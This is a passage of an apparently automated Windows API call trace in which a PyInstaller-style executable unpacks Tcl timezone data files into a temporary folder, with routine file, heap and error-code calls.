lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Khandyga", lpFilePart=0x0) returned 0x45 [0040.238] GetLastError () returned 0x2 [0040.238] SetLastError (dwErrCode=0x2) [0040.238] GetLastError () returned 0x2 [0040.238] SetLastError (dwErrCode=0x2) [0040.238] GetLastError () returned 0x2 [0040.238] SetLastError (dwErrCode=0x2) [0040.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Khandyga") returned 70 [0040.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Khandyga" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\khandyga"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.239] GetFileType (hFile=0x10c) returned 0x1 [0040.239] htonl (hostlong=0x4e080000) returned 0x84e [0040.239] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.239] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x84e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x84e, lpOverlapped=0x0) returned 1 [0040.240] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.240] CloseHandle (hObject=0x10c) returned 1 [0040.240] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.240] htonl (hostlong=0x30000000) returned 0x30 [0040.240] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.240] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.241] GetFileType (hFile=0x10c) returned 0x1 [0040.241] htonl (hostlong=0x2ff65a00) returned 0x5af62f [0040.241] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fa62f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.241] htonl (hostlong=0xb0000000) returned 0xb0 [0040.241] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb0) returned 0x55cfe0 [0040.241] htonl (hostlong=0xb0000000) returned 0xb0 [0040.241] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.241] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.241] htonl (hostlong=0x5010000) returned 0x105 [0040.241] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x105) returned 0x550600 [0040.241] htonl (hostlong=0xb0000000) returned 0xb0 [0040.241] htonl (hostlong=0x5010000) returned 0x105 [0040.241] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.241] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.241] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.241] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.241] CloseHandle (hObject=0x10c) returned 1 [0040.241] GetLastError () returned 0x0 [0040.241] SetLastError (dwErrCode=0x0) [0040.241] GetLastError () returned 0x0 [0040.241] SetLastError (dwErrCode=0x0) [0040.241] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.241] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.241] GetFileType (hFile=0x10c) returned 0x1 [0040.241] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.241] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.242] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.242] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.242] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.242] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.242] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.242] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.242] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.242] CloseHandle (hObject=0x10c) returned 1 [0040.242] GetLastError () returned 0x0 [0040.242] SetLastError (dwErrCode=0x0) [0040.242] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.242] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.242] GetFileType (hFile=0x10c) returned 0x1 [0040.242] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.242] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.242] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.242] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.242] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.242] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.242] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.242] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.242] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.242] CloseHandle (hObject=0x10c) returned 1 [0040.242] GetLastError () returned 0x0 [0040.242] SetLastError (dwErrCode=0x0) [0040.242] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.243] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.243] GetFileType (hFile=0x10c) returned 0x1 [0040.243] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.243] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.243] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.243] CloseHandle (hObject=0x10c) returned 1 [0040.243] GetLastError () returned 0x0 [0040.243] SetLastError (dwErrCode=0x0) [0040.243] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kolkata") returned 69 [0040.243] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kolkata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kolkata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.243] GetLastError () returned 0x2 [0040.243] SetLastError (dwErrCode=0x2) [0040.243] GetLastError () returned 0x2 [0040.243] SetLastError (dwErrCode=0x2) [0040.243] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kolkata", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kolkata", lpFilePart=0x0) returned 0x44 [0040.243] GetLastError () returned 0x2 [0040.243] SetLastError (dwErrCode=0x2) [0040.243] GetLastError () returned 0x2 [0040.243] SetLastError (dwErrCode=0x2) [0040.243] GetLastError () returned 0x2 [0040.243] SetLastError (dwErrCode=0x2) [0040.244] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kolkata") returned 69 [0040.244] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kolkata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kolkata"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.244] GetFileType (hFile=0x10c) returned 0x1 [0040.244] htonl (hostlong=0x5010000) returned 0x105 [0040.244] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.244] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x105, lpOverlapped=0x0) returned 1 [0040.251] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.251] CloseHandle (hObject=0x10c) returned 1 [0040.251] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.251] htonl (hostlong=0x30000000) returned 0x30 [0040.251] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.251] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.251] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.251] GetFileType (hFile=0x10c) returned 0x1 [0040.251] htonl (hostlong=0xdff65a00) returned 0x5af6df [0040.251] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fa6df, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.251] htonl (hostlong=0x17020000) returned 0x217 [0040.251] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x217) returned 0x550600 [0040.251] htonl (hostlong=0x17020000) returned 0x217 [0040.251] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.251] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.251] htonl (hostlong=0x12080000) returned 0x812 [0040.251] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x812) returned 0x55e278 [0040.251] htonl (hostlong=0x17020000) returned 0x217 [0040.251] htonl (hostlong=0x12080000) returned 0x812 [0040.251] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.251] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.251] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.252] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.252] CloseHandle (hObject=0x10c) returned 1 [0040.252] GetLastError () returned 0x0 [0040.252] SetLastError (dwErrCode=0x0) [0040.252] GetLastError () returned 0x0 [0040.252] SetLastError (dwErrCode=0x0) [0040.252] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.252] GetFileType (hFile=0x10c) returned 0x1 [0040.252] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.252] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.252] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.252] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.252] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.252] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.252] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.252] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.252] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.252] CloseHandle (hObject=0x10c) returned 1 [0040.252] GetLastError () returned 0x0 [0040.252] SetLastError (dwErrCode=0x0) [0040.252] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.252] GetFileType (hFile=0x10c) returned 0x1 [0040.253] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.253] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.253] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.253] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.253] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.253] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.253] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.253] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.253] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.253] CloseHandle (hObject=0x10c) returned 1 [0040.253] GetLastError () returned 0x0 [0040.253] SetLastError (dwErrCode=0x0) [0040.253] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.253] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.253] GetFileType (hFile=0x10c) returned 0x1 [0040.253] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.253] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.253] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.253] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.253] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.253] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.253] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.253] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.253] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.253] CloseHandle (hObject=0x10c) returned 1 [0040.254] GetLastError () returned 0x0 [0040.254] SetLastError (dwErrCode=0x0) [0040.254] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Krasnoyarsk") returned 73 [0040.254] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Krasnoyarsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\krasnoyarsk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.254] GetLastError () returned 0x2 [0040.254] SetLastError (dwErrCode=0x2) [0040.254] GetLastError () returned 0x2 [0040.254] SetLastError (dwErrCode=0x2) [0040.254] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Krasnoyarsk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Krasnoyarsk", lpFilePart=0x0) returned 0x48 [0040.254] GetLastError () returned 0x2 [0040.254] SetLastError (dwErrCode=0x2) [0040.254] GetLastError () returned 0x2 [0040.254] SetLastError (dwErrCode=0x2) [0040.254] GetLastError () returned 0x2 [0040.254] SetLastError (dwErrCode=0x2) [0040.254] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Krasnoyarsk") returned 73 [0040.254] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.254] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Krasnoyarsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\krasnoyarsk"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.254] GetFileType (hFile=0x10c) returned 0x1 [0040.254] htonl 